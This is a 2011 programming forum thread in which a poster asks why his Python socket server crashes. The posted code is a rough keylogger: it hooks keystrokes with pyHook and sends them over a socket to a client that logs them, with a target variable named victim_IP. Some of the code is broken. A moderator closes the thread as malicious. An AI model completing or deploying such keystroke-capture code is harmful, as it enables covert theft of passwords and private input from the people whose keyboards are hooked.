5 Replies - 954 Views - Last Post: 05 April 2011 - 04:05 AM Rate Topic: -----

#1 jppedrinho   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 7
  • Joined: 30-March 11

Python socket server closes when client connects

Posted 03 April 2011 - 01:29 PM

Hello,

Im trying to make a socket client-server connection to exchange data, but when I try to connect it says that it connected but the server crashes.

Client code:

import socket 
import os
import time


def OnKeyboardEvent(event):
        if event.Ascii == 27:
                print "!Stopped Logging data!"
                apen.close()
                exit()
# create a hook manager
hm = pyHook.HookManager()
# watch for all keyboard events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()

print "PP Logme Beta"
server_IP = raw_input ("please input an IP to connect to \n\n") 
host = server_IP 
port = 902
addr = (victim_IP, 902)

try:
        socket1 = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        socket1.connect(addr)
except socket.error:   
        print "failure to connect"
        time.sleep(5)
        exit()
else:
        print "connection Made to remote host"

try:
        apen = open("logs.txt","a")
except IOError:
        print "error loading file"
else:
        print "!Logging recived data!"
        print
        while True:
                data = socket1.recv(1024)
                print data
                apen.write(data)
                time.sleep(1)



Server code:

import socket
import time
import pyHook
import pythoncom

try:
	socket1 = socket.socket(socket.AF_INET , socket.SOCK_STREAM) 
	socket1.bind(('', 902))
	socket1.listen(5) 
	conn, addr = socket1.accept()
	#regwrite()
except socket.error:
	print "error starting server"
	time.sleep(3)
	exit()

def OnKeyboardEvent(event):
   if event.Ascii == 9:
      conn.send(" (tab) ")
   elif event.Ascii == 8:
      conn.send(" (backspace) ")
   elif event.Ascii == 1:
      conn.send(" (ctrl + a) ")
   elif event.Ascii == 2:
      conn.send(" (ctrl + B)/> ")
   elif event.Ascii == 3:
      conn.send(" (ctrl + c) ")
   elif event.Ascii == 13:
      conn.send("\n")
   elif event.Ascii == 4:
      conn.send(" (ctrl + d) ")
   elif event.Ascii == 5:
      conn.send(" (ctrl + e) ")
   elif event.Ascii == 32:
      conn.send(" ")
   elif event.Ascii == 27:
      conn.send(" ESC ")
   else:
      conn.send(event.key)

# create a hook manager
hm = pyHook.HookManager()
# watch for all keyboard events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()



Can someone help me?

Thanks in advance!

--PP

Is This A Good Question/Topic? 0
  • +

Replies To: Python socket server closes when client connects

#2 fuzzylunkinz   User is offline

  • D.I.C Head
  • member icon

Reputation: 8
  • View blog
  • Posts: 185
  • Joined: 11-November 08

Re: Python socket server closes when client connects

Posted 03 April 2011 - 06:32 PM

What error message are you getting?
Was This Post Helpful? 0
  • +
  • -

#3 jppedrinho   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 7
  • Joined: 30-March 11

Re: Python socket server closes when client connects

Posted 03 April 2011 - 06:41 PM

View Postfuzzylunkinz, on 03 April 2011 - 06:32 PM, said:

What error message are you getting?


I dont get error messages, It simply closes!
Was This Post Helpful? 0
  • +
  • -

#4 fuzzylunkinz   User is offline

  • D.I.C Head
  • member icon

Reputation: 8
  • View blog
  • Posts: 185
  • Joined: 11-November 08

Re: Python socket server closes when client connects

Posted 03 April 2011 - 06:46 PM

View Postjppedrinho, on 03 April 2011 - 09:41 PM, said:

I dont get error messages, It simply closes!

Ahhh, run the script directly from a command prompt :).

Start -> Run -> cmd -> cd to your folder

run "C:\path\to\python.exe server.py"

That way it should stay open.

EDIT:
You could do the same with the client.py, but that doesn't seem to be the one getting an error.

This post has been edited by fuzzylunkinz: 03 April 2011 - 06:47 PM

Was This Post Helpful? 0
  • +
  • -

#5 jppedrinho   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 7
  • Joined: 30-March 11

Re: Python socket server closes when client connects

Posted 04 April 2011 - 02:45 PM

View Postfuzzylunkinz, on 03 April 2011 - 06:46 PM, said:

View Postjppedrinho, on 03 April 2011 - 09:41 PM, said:

I dont get error messages, It simply closes!

Ahhh, run the script directly from a command prompt :).

Start -> Run -> cmd -> cd to your folder

run "C:\path\to\python.exe server.py"

That way it should stay open.

EDIT:
You could do the same with the client.py, but that doesn't seem to be the one getting an error.


I tried running on CMD but it stops to run the script when I connect.

And the part that logs to file is not working!

How can I fix that?

Thanks

--PP
Was This Post Helpful? 0
  • +
  • -

#6 JackOfAllTrades   User is offline

  • Saucy!
  • member icon

Reputation: 6260
  • View blog
  • Posts: 24,030
  • Joined: 23-August 08

Re: Python socket server closes when client connects

Posted 05 April 2011 - 04:05 AM

Actually, you look like you're making something malicious, like a keylogger. We won't help you with that.

Closed.
Was This Post Helpful? 1
  • +
  • -

Page 1 of 1